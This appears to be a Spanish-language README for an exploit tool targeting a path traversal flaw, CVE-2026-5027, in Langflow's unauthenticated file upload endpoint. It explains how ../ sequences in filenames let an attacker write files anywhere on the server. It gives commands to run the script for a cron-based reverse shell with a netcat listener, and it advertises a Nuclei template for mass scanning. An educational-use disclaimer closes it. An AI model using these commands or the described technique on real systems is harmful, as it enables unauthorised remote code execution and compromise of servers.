🔥 CVE-2026-5027 - Path Traversal en Langflow

Escritura Arbitraria de Archivos a RCE
Ejecución Remota de Código No Autenticada mediante Subida de Archivos

📌 Descripción General

Langflow sufre una vulnerabilidad crítica de path traversal en el endpoint de subida de archivos (POST /api/v2/files).

Un atacante puede enviar un nombre de archivo malicioso que contenga secuencias ../ para escribir archivos arbitrarios en cualquier parte del sistema de archivos del servidor.

Esto conduce fácilmente a una Ejecución Remota de Código (RCE) completa — por ejemplo, colocando una webshell o inyectando en crontab.

🛠️ Características

• ✅ Explotación no autenticada (configuraciones predeterminadas de auto-login)
• ✅ Prueba de Concepto simple (escribe un archivo de prueba en /tmp)
• ✅ Reverse Shell completo mediante cron (Linux)
• ✅ Plantilla de Nuclei incluida para escaneo masivo
• ✅ Fácil de personalizar la profundidad del traversal

🚀 Inicio Rápido

1. Prueba de Concepto (Prueba Segura)

python3 CVE-2026-5027.py -t http://target:7860/ --proof

Salida esperada si es vulnerable:

[+] ¡Éxito! Archivo escrito: ../../../tmp/CVE-2026-5027-proof.txt

2. Reverse Shell Completo

# Iniciar listener
nc -lvnp 4444

# Ejecutar exploit
python3 CVE-2026-5027.py -t http://target:7860/ --lhost YOUR_IP --lport 4444

📁 Contenido del Repositorio

🎯 Ejemplos de Uso

Modo Prueba (Proof)

python3 CVE-2026-5027.py -t http://target.com/ --proof

Modo Reverse Shell

python3 CVE-2026-5027.py -t http://target.com/ --lhost 192.168.1.100 --lport 4444

⚠️ Aviso Legal

Este repositorio es únicamente para fines educativos y de pruebas de seguridad autorizadas.

Úsalo de forma responsable y solo en sistemas para los que tengas permiso explícito de prueba.